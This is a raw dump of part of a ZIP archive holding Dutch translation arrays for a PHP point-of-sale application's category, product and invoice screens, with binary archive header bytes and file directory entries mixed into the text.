'category.view' => 'Bekijk categorie', 'category.create' => 'Categorie toevoegen', 'category.update' => 'Bewerk categorie', 'category.delete' => 'Categorie verwijderen', 'select_all' => 'Selecteer alles', 'settings' => 'Instellingen', 'brand' => 'Merk', 'tax_rate' => 'Belastingtarief', 'unit' => 'Eenheid', 'access_locations' => 'Toegang locaties', 'all_locations' => 'Alle locaties', 'dashboard' => 'Huis', 'dashboard.data' => 'Home-gegevens bekijken', 'profit_loss_report.view' => 'Bekijk winst / verlies rapport', 'direct_sell.access' => 'Toegang verkopen', ]; PK G �Z�G(�_ _ nl/product.phpnu �[��� <?php return [ 'exc_of_tax' => 'Exc van belasting', 'inc_of_tax' => 'Inc. van belasting', 'profit_percent' => 'x Marge (%)', 'add_new_product' => 'Nieuw product toevoegen', 'add_product_for_labels' => 'Producten toevoegen om labels te genereren', 'product_type' => 'Product type', 'category' => 'Categorie', 'sub_category' => 'Subcategorie', 'unit' => 'Eenheid', 'brand' => 'Merk', 'tax' => 'Tax', 'sku' => 'Art.nr.', 'alert_quantity' => 'Alarmhoeveelheid', 'product_name' => 'Productnaam', 'auto_generate' => 'Automatisch genereren', 'manage_stock' => 'Beheer Voorraad?', 'enable_stock_help' => 'Voorraadbeheer op productniveau inschakelen', 'barcode_type' => 'Barcode Type', 'applicable_tax' => 'Toepasselijke belasting', 'selling_price_tax_type' => 'Verkoopprijs belasting type', 'inclusive' => 'Inclusief', 'exclusive' => 'Exclusive', 'edit_product' => 'Bewerk product', 'default_purchase_price' => 'Standaard inkoopprijs', 'default_selling_price' => 'Default Selling Price', 'value' => 'Waarde', 'variation_name' => 'Variation Name', 'variation_values' => 'Variatie waarden', 'use_template' => 'Gebruik sjabloon', 'add_variation' => 'Variatie toevoegen', 'product_added_success' => 'Product succesvol toegevoegd', 'product_updated_success' => 'Product succesvol bijgewerkt', 'enable_product_expiry' => 'Productverloop inschakelen', 'expiry_period' => 'Vervalperiode', 'expires_in' => 'Verloopt in', 'not_applicable' => 'Niet toepasbaar', 'months' => 'Maanden', 'days' => 'Dagen', 'mfg_date' => 'Fabricage datum', 'exp_date' => 'Vervaldatum', 'view_product' => 'Bekijk product', 'add_product' => 'Voeg product toe', 'variations' => 'Variations', 'import_products' => 'Producten importeren', 'file_to_import' => 'Bestand om te importeren', 'file_imported_successfully' => 'Bestand met succes geïmporteerd', 'variation_sku_format' => 'Variant SKU-indeling', 'variation_sku_format_help_text' => 'Variant SKU-indeling - Wanneer de variant SKU leeg is, wordt dit formaat gebruikt om SKU"s voor varianten te genereren.', 'sku_number' => 'SKU-Nummer (Voorbeeld -> ABC-1, ABC-2)', 'sku_variation_number' => 'SKUVariant (Voorbeeld -> ABCS, ABCM)' ]; PK G �Zm��� � nl/invoice.phpnu �[��� <?php return [ 'invoice_settings' => 'Factuurinstellingen', 'manage_your_invoices' => 'Beheer uw factuurinstellingen', 'all_your_invoice_schemes' => "Al uw factuurschema's", 'added_success' => 'Factuurinstelling succesvol toegevoegd', 'updated_success' => 'Factuurinstelling succesvol bijgewerkt', 'deleted_success' => 'Factuurinstelling succesvol verwijderd', 'add_invoice' => 'Nieuw factuurschema toevoegen', 'edit_invoice' => 'Factuurschema bewerken', 'name' => 'Naam', 'prefix' => 'Voorvoegsel', 'start_number' => 'Start van', 'total_digits' => 'Aantal getallen', 'preview' => 'Preview', 'not_selected' => 'Niet geselecteerd', 'invoice_count' => 'Factuurtelling', 'invoice_schemes' => "Factuurschema's", 'invoice_layouts' => 'Invoice Layouts', 'invoice_layout' => 'Invoice layout', 'all_your_invoice_layouts' => 'Al uw factuurlay-outs', 'add_invoice_layout' => 'Nieuwe factuurlay-out toevoegen', 'layout_name' => 'Layoutnaam', 'invoice_scheme' => 'Factuurschema', 'header_text' => 'Koptekst', 'invoice_no_prefix' => 'Factuur nr. Label', 'invoice_heading' => 'Invoice heading', 'sub_total_label' => 'Subtotaal label', 'discount_label' => 'Kortingslabel', 'tax_label' => 'Belasting label', 'total_label' => 'Totaal label', 'fields_to_be_shown_in_address' => 'Velden worden getoond in locatie-adres', 'highlight_color' => 'Markeer kleur', 'footer_text' => 'Voettekst', 'layout_added_success' => 'Factuurindeling succesvol toegevoegd', 'edit_invoice_layout' => 'Bewerk factuur lay-out', 'layout_updated_success' => 'Factuurindeling succesvol bijgewerkt', 'used_in_locations' => 'Gebruikt op locaties', 'show_business_name' => 'Bedrijfsnaam tonen', 'show_location_name' => 'Toon locatienaam', 'show_mobile_number' => 'Mobiel nummer', 'show_alternate_number' => 'Alternatief nummer', 'show_email' => 'E-mail', 'show_tax_1' => 'Belasting 1 details', 'show_tax_2' => 'Belasting 2 details', 'fields_to_shown_for_communication' => 'Velden voor communicatiedetails', 'fields_to_shown_for_tax' => 'Velden voor belastinggegevens', 'invoice_logo' => 'Invoice Logo', 'show_logo' => 'Show invoice Logo', 'show_barcode' => 'Show Barcode', 'total_due_label' => 'Total Due Label', 'invoice_heading_not_paid' => 'Kopregel Achtervoegsel voor niet betaald', 'invoice_heading_paid' => 'Kopregel achtervoegsel voor betaald', 'show_payments' => 'Toon betalingsinformatie', 'show_customer' => 'Klantinformatie tonen', 'paid_label' => 'Bedrag betaald label', 'customer_label' => 'Klantenlabel', ]; PK Q�Z�{��) ) en.jsnu �[��� PK Q�Z� ]-� � ^ ce.jsnu �[��� PK Q�Z�pNt� � -5 sq.jsnu �[��� PK Q�Z(�il �N de.jsnu �[��� PK Q�ZW:֝{ { Kj tr.jsnu �[��� PK Q�Z\ �Z� � �� pt.jsnu �[��� PK Q�Zhp\ػ � %� ro.jsnu �[��� PK Q�Z���t[" [" � ar.jsnu �[��� PK Q�Z�P�* �* �� hi.jsnu �[��� PK Q�Zg�� b fr.jsnu �[��� PK Q�Z�2N"-0 -0 �" lo.jsnu �[��� PK Q�ZR~�u �R es.jsnu �[��� PK Q�Z:hSF F Jl nl.jsnu �[��� PK Q�Z��?0x x Ņ id.jsnu �[��� PK Q�Z�)Q r� vi.jsnu �[��� PK G �Z*V�3� � �� es/expense.phpnu �[��� PK G �ZH��d� � �� es/messages.phpnu �[��� PK G �Z�ԃ�C C �� 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